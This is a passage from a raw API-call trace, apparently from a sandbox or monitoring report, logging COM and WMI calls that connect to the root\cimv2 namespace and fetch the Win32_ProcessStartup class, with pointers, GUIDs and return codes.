Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bef8e00) returned 0x0 [0085.288] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8e00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0085.289] WbemDefPath:IUnknown:Release (This=0x1bef8e00) returned 0x3 [0085.289] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0085.289] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0085.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0085.289] WbemDefPath:IUnknown:Release (This=0x1bf3b580) returned 0x2 [0085.289] WbemDefPath:IUnknown:Release (This=0x1bf3b580) returned 0x1 [0085.289] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0085.289] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0085.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3b580) returned 0x0 [0085.289] WbemDefPath:IUnknown:AddRef (This=0x1bf3b580) returned 0x3 [0085.289] WbemDefPath:IUnknown:Release (This=0x1bf3b580) returned 0x2 [0085.289] WbemDefPath:IWbemPath:SetText (This=0x1bf3b580, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0085.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b580, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0085.289] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0085.289] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0085.289] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b580, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0085.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b580, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0085.289] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b580, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0085.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b580, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0085.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0085.289] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0085.289] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0085.289] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0085.289] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0085.290] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0085.290] IUnknown:Release (This=0x111f638) returned 0x1 [0085.292] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bef8de0) returned 0x0 [0085.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8de0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0085.292] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8de0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bf3b4c0) returned 0x0 [0085.292] WbemDefPath:IUnknown:Release (This=0x1bef8de0) returned 0x0 [0085.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bf3b4c0) returned 0x0 [0085.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0085.292] WbemDefPath:IUnknown:AddRef (This=0x1bf3b4c0) returned 0x3 [0085.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0085.292] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0085.293] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bef8c80) returned 0x0 [0085.293] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8c80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0085.293] WbemDefPath:IUnknown:Release (This=0x1bef8c80) returned 0x3 [0085.293] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0085.293] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0085.293] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0085.293] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x2 [0085.293] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x1 [0085.293] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0085.293] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0085.293] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bf3b4c0) returned 0x0 [0085.293] WbemDefPath:IUnknown:AddRef (This=0x1bf3b4c0) returned 0x3 [0085.293] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x2 [0085.293] WbemDefPath:IWbemPath:SetText (This=0x1bf3b4c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0085.293] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b4c0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0085.293] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b4c0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0085.294] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b4c0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0085.294] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0085.294] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0085.294] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0085.294] IUnknown:Release (This=0x111f638) returned 0x1 [0085.295] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bef8ae0) returned 0x0 [0085.295] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8ae0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0085.295] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bef8ae0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bef8a80) returned 0x0 [0085.295] WbemLocator:IUnknown:Release (This=0x1bef8ae0) returned 0x0 [0085.295] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bef8a80) returned 0x0 [0085.295] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0085.296] WbemLocator:IUnknown:AddRef (This=0x1bef8a80) returned 0x3 [0085.296] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0085.296] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0085.296] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0085.296] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0085.296] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0085.296] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0085.296] WbemLocator:IUnknown:Release (This=0x1bef8a80) returned 0x2 [0085.296] WbemLocator:IUnknown:Release (This=0x1bef8a80) returned 0x1 [0085.296] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0085.296] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0085.296] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8a80, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bef8a80) returned 0x0 [0085.296] WbemLocator:IUnknown:AddRef (This=0x1bef8a80) returned 0x3 [0085.296] WbemLocator:IUnknown:Release (This=0x1bef8a80) returned 0x2 [0085.296] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b4c0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0085.296] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b4c0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0085.297] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b4c0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0085.297] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bef88c0) returned 0x0 [0085.297] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bef88c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x11c7e60) returned 0x0 [0085.535] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7e60, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf96120) returned 0x0 [0085.535] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf96120, pProxy=0x11c7e60, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0085.535] WbemLocator:IUnknown:Release (This=0x1bf96120) returned 0x1 [0085.535] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7e60, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf96160) returned 0x0 [0085.535] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7e60, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf96120) returned 0x0 [0085.535] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf96120, pProxy=0x11c7e60, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0085.535] WbemLocator:IUnknown:Release (This=0x1bf96120) returned 0x2 [0085.535] WbemLocator:IUnknown:Release (This=0x1bf96160) returned 0x1 [0085.535] CoTaskMemFree (pv=0x11dd150) [0085.536] WbemLocator:IUnknown:AddRef (This=0x11c7e60) returned 0x2 [0085.536] WbemLocator:IUnknown:Release (This=0x1bef88c0) returned 0x0 [0085.536] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0085.536] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0085.536] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7e60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf96130) returned 0x0 [0085.536] WbemLocator:IRpcOptions:Query (in: This=0x1bf96130, pPrx=0x1bef8800, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0085.537] WbemLocator:IUnknown:Release (This=0x1bf96130) returned 0x2 [0085.537] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0085.537] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0085.537] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7e60, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x11c7e60) returned 0x0 [0085.537] WbemLocator:IUnknown:Release (This=0x11c7e60) returned 0x2 [0085.537] SysStringLen (param_1=0x0) returned 0x0 [0085.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0085.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0085.537] IWbemServices:GetObject (in: This=0x11c7e60, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bef3970, ppCallResult=0x0) returned 0x0 [0085.539] IWbemClassObject:Get (in: This=0x1bef3970, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0085.539] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0085.540] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0085.540] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0085.540] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0085.540] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0085.540] IUnknown:Release (This=0x111f638) returned 0x1 [0085.542] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bef88c0) returned 0x0 [0085.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef88c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0085.543] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef88c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bf3b340) returned 0x0 [0085.543] WbemDefPath:IUnknown:Release (This=0x1bef88c0) returned 0x0 [0085.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bf3b340) returned 0x0 [0085.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0085.543] WbemDefPath:IUnknown:AddRef (This=0x1bf3b340) returned 0x3 [0085.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, 